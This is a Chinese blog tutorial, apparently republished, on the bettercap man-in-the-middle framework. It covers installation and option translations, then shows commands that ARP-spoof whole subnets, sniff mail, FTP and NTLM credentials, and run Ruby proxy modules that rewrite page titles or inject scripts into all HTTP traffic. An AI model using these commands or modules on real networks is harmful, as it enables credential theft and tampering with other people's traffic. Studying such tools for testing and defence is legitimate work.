0x00前言

上篇提到内网渗透很有趣,这次就从一款新工具说起: bettercap

0x01简介

bettercap可用来实现各种中间人攻击,模块化,便携、易扩展

0x02特点

提到中间人攻击,最知名的莫过于ettercap,而开发bettercap的目的不是为了追赶它,而是替代它 原因如下:

1、ettercap很成功,但在新时代下它已经老了 2、ettercap的过滤器复杂,使用门槛高 3、在大型网络下,主机发现功能效果很差 4、优化不够,对研究人员来说,无用的功能太多 5、扩展性不够,开发需要掌握C/C++语言

0x03测试环境搭建

kali linux:

git clone https://github.com/evilsocket/bettercap
cd bettercap
gem build bettercap.gemspec
sudo gem install bettercap*.gem

如果报错,如图:

执行如下命令:

sudo apt-get install ruby-dev libpcap-dev
sudo gem install bettercap*.gem

最后成功,如图:

0x04参数说明

已做翻译并加入个人理解

用法:

-I, --interface IFACE 指定Network interface name,默认eth0

-S, --spoofer NAME 指定欺骗模块,此参数默认为ARP,目前仅支持ARP,新版本会添加更多选项

-T, --target ADDRESS 指定单一ip,如果未设置,则代表所有子网,子网所有主机自动扫描,简单高效,十分推荐-O, --log LOG_FILE 日志功能

-D, --debug 调试功能,会将每一步操作详细记录,便于调试

-L, --local 解析流经本机的所有数据包(此操作会开启嗅探器),此参数默认为关闭

-X, --sniffer 开启嗅探器. --sniffer-pcap FILE 将数据包保存为PCAP文件,可用Wireshark打开(此操作会开启嗅探器) --sniffer-filter EXPRESSION 配置嗅探器使用BPF过滤器(此操作会开启嗅探器)

-P, --parsers PARSERS 指定数据包(此操作会开启嗅探器),支持NTLMSS, IRC, POST, URL, FTP, HTTPS, HTTPAUTH, MAIL,此参数默认为所有 --no-discovery 只使用当前的ARP缓存,不去扫描其他主机,此参数默认为关闭 --no-spoofing 关闭欺骗模块,也可以使用参数--spoofer NONE代替 --proxy 启用HTTP代理并且重定向所有HTTP请求至本机,此参数默认为关闭 --proxy-port PORT 设置HTTP代理端口,此参数默认为8080 --proxy-module MODULE 指定加载的Ruby模块 --httpd 开启HTTP服务器,此参数默认为关闭 --httpd-port PORT 指定HTTP server port, 此参数默认为8081. --httpd-path PATH 指定HTTP server path,此参数默认为 ./.

-h, --help 英文帮助

0x05功能测试

1、HOST DISCOVERY + ARP MAN IN THE MIDDLE

sudo bettercap -X

扫描全部内网主机,傻瓜式操作,自动扫描并进行arp欺骗,使所有流量经过本机,如图

2、CREDENTIALS SNIFFER

抓取流量中有价值的信息,包括:

URLs being visited.
HTTPS host being visited.
HTTP POSTed data.
HTTP Basic and Digest authentications.
FTP credentials.
IRC credentials.
POP, IMAP and SMTP credentials.
NTLMv1/v2 ( HTTP, SMB, LDAP, etc ) credentials.

用法举例:

默认傻瓜模式,开启所有功能:

sudo bettercap -X

如图为抓到的163邮箱登陆数据

指定抓取的数据包:

sudo bettercap -X -P "FTP,HTTPAUTH,MAIL,NTLMSS"

如图为抓到192.168.40.146的FTP

3、MODULAR TRANSPARENT PROXY

代理功能,可以拦截篡改HTTP流量

用法举例:

开启代理功能:

sudo bettercap --proxy

开启代理功能并指定端口:

sudo bettercap --proxy --proxy-port=8081

关闭arp欺骗,只开启代理

sudo bettercap -S NONE --proxy

开启代理功能并加载指定的Ruby模块

sudo bettercap --proxy --proxy-module=hack_title.rb

Ruby参考示例:

class HackTitle < Proxy::Module
def on_request( request, response )
# is it a html page?
if response.content_type == 'text/html'
Logger.info "Hacking http://#{request.host}#{request.url} title tag"
# make sure to use sub! or gsub! to update the instance
response.body.sub!( '<title>', '<title> !!! HACKED !!! ' )
end
end
end

功能为替换所有html的标题选项

4、BUILTIN HTTP SERVER

内置HTTP SERVER功能,可篡改HTTP响应包内容

用法举例:

在网络的每一个HTTP响应中注入JS文件

sudo bettercap --httpd --http-path=/path/to/your/js/file/ --proxy --proxy-module=inject.rb

Ruby参考示例:

class InjectJS < Proxy::Module
def on_request( request, response )
# is it a html page?
if response.content_type == 'text/html'
Logger.info "Injecting javascript file into http://#{request.host}#{request.url} page"
# get the local interface address and HTTPD port
localaddr = Context.get.iface[:ip_saddr]
localport = Context.get.options[:httpd_port]
# inject the js
response.body.sub!( '</title>', "</title><script src='http://#{localaddr}:#{localport}/file.js' type='text/javascript'></script>" )
end
end
end

0x06测试心得

亮点:

中间人攻击利用框架的开发,便携,安装简单 整合了各种常用功能,功能模块化,自动欺骗攻击,提高效率 极大降低了工具的使用和开发门槛

不足:

目前只支持arp欺骗,功能仍需完善。
暂不支持windows

0x07总结

之前我用过c++开发arp欺骗&中间人攻击的程序,个人认为arp欺骗的成功与否关键在于ARP缓存表的修改, 锁定ARP缓存表目前就能防御bettercap基于arp的中间人攻击 但我相信,bettercap的前景十分广阔。

0x08补充

bettercap下载地址:

http://www.bettercap.org/

水平有限,欢迎补充。

注:文章主要转至乌云知识库,其中的内容已经在ubuntu 14.04上测试过,没有问题。如果有疑问,请联系本人

转:中间人攻击利用框架bettercap测试的更多相关文章

  1. 中间人攻击利用框架bettercap测试

    0x00前言 上篇提到内网渗透很有趣,这次就从一款新工具说起: bettercap 0x01简介 bettercap可用来实现各种中间人攻击,模块化,便携.易扩展 0x02特点 提到中间人攻击,最知名 ...

  2. Linux下中间人攻击利用框架bettercap测试

    0x01简介 bettercap可用来实现各种中间人攻击,模块化,便携.易扩展 0x02特点 提到中间人攻击,最知名的莫过于ettercap,而开发bettercap的目的不是为了追赶它,而是替代它 ...

  3. 如何利用 LTE/4G 伪基站+GSM 中间人攻击攻破所有短信验证

    这次公开课请来的嘉宾对自己的简介是: 连续创业失败的创业导师:伪天使投资人:某非知名私立大学创办人兼校长:业余时间在本校通信安全实验室打杂. 自从他在黑客大会上演讲<伪基站高级利用技术——彻底攻 ...

  4. 从Linux内核角度看中间人攻击(ARP欺骗)并利用Python scapy实现

    邻居子系统与ARP协议 邻居子系统的作用就是将IP地址,转换为MAC地址,类似操作系统中的MMU(内存管理单元),将虚拟地址,转换为物理地址. 其中邻居子系统相当于地址解析协议(IPv4的ARP协议, ...

  5. 自动化中间人攻击工具subterfuge小实验

    Subterfuge是一款用python写的中间人攻击框架,它集成了一个前端和收集了一些著名的可用于中间人攻击的安全工具. Subterfuge主要调用的是sslstrip,sslstrip 是08 ...

  6. 关于ARP欺骗与MITM(中间人攻击)的一些笔记( 二 )

    一直没有折腾啥东西,直到最近kali Linux发布,才回想起应该更新博客了….. 再次说明,这些技术并不是本人原创的,而是以前记录在Evernote的旧内容(排版不是很好,请谅解),本文是继关于AR ...

  7. 如何用Ettercap实现“中间人攻击”(附下载链接)

    什么是“中间人攻击”? 中间人攻击(Man-in-the-Middle Attack,简称“MiTM攻击”)是一种“间接”的入侵攻击,这种攻击模式是通过各种技术手段将受入侵者控制的一台计算机虚拟放置在 ...

  8. HTTPS中间人攻击实践(原理·实践)

      前言 很早以前看过HTTPS的介绍,并了解过TLS的相关细节,也相信使用HTTPS是相对安全可靠的.直到前段时间在验证https代理通道连接时,搭建了MITM环境,才发现事实并不是我想的那样.由于 ...

  9. 【网络安全】SSLSplit实现中间人攻击

    中间人攻击,即在中间监听获取网络数据以便获取的有价值的信息实现攻击破坏的目的,即client-mid man-server,此处介绍的sslsplit可以作为mid man监听ssl信息及HTTP信息 ...

随机推荐

  1. JS函数是如何执行的

    当局部变量和函数参数同名时,该怎么理解呢? function test(a){ var a=a||5; alert(a) } test() //没传参的话,就是5:传参的话就alert参数 ===== ...

  2. Beta版本测试报告

    爬虫测试: 由于爬虫是整个系统的数据来源,十分的重要,但是由于引用了jar包并且运行复杂,这里主要做功能性测试,通过增加seed,运行爬虫,可以在后台控制台看到日志的不断刷新以及数据库条目的不断增加, ...

  3. 在MyEclipse和Eclipse中添加Hibernate开发工具

    一.插件准备 MyEclipse需要的插件:HibernateTools-3.2.4.zip Eclipse需要的插件:jbosstools-4.2.3.Final_2015-03-26_22-41- ...

  4. Fiddler (HTTP抓包)简介

    1.什么是Fiddler? Fiddler是位于客户端和服务器端的HTTP代理,也是目前最常用的http抓包工具之一.它能够记录客户端和服务器之间的所有HTTP请求,可以针对特定的HTTP请求,分析请 ...

  5. Apache-Jemeter web性能测试工具使用

    Jmeter是一款java开源的性能测试软件. 要使用该工具进行性能测试,首先需要下载该工具到你的电脑,接着配置java开发环境以及Jmeter环境.搭建完成之后,OK,我们就可以进行测试了. 测试第 ...

  6. HYPER V 文件共享 复制文件 共享硬盘 来宾服务

    虚拟机的设置   -->  集成服务 –> 来宾服务  勾选    文件就可以在本地机器和虚拟机上来回复制了. 他可让 Hyper-V 管理员在运行虚拟机的同时将文件复制到虚拟机,且无需使 ...

  7. 在Ubuntu上安装LAMP服务器

    1.安装Ubuntu上安装LAMP apt-get install lamp-server^ 2.安装过程中设置MySql密码 3.测试 创建index.php var/www/html/index. ...

  8. 【转载】Keil中的USE MicroLib说明

    在keil建立ARM的工程时 其中有一项是选 use MicroLIB 由于对KEIL不是很熟悉,于是就查了查,得到了以下信息: microlib 是缺省 C 库的备选库. 它旨在与需要装入到极少量内 ...

  9. dicom转换软件的一点头绪

    想用c#写一个由dicom格式转化为jpeg或者其他格式的文件 找到了这个类 fo-dicom类

  10. jQuery源码:从原理到实战

    jQuery源码:从原理到实战 jQuery选择器对象 $(".my-class"); document.querySelectorAll*".my-class" ...